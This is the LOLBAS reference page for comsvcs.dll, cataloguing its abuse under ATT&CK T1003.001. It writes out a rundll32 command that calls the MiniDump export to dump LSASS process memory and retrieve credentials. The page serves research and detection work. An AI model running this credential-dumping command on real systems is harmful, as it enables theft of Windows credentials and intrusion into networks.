LOLBAS. GitHub
LIVING OFF THE LAND / OS LIBRARIES

Comsvcs.dll

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COM+ Services

Dump
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
04DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Dump1

EXAMPLE 01T1003.001

Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump.

COMMAND
rundll32 C:\windows\system32\comsvcs.dll MiniDump {LSASS_PID} dump.bin full
USE CASE
Dump Lsass.exe process memory to retrieve credentials.
PRIVILEGES
SYSTEM
OPERATING SYSTEM
Windows 10, Windows 11
02 / ON DISK

Known paths

c:\windows\system32\comsvcs.dll
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

4 resources
REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

modexp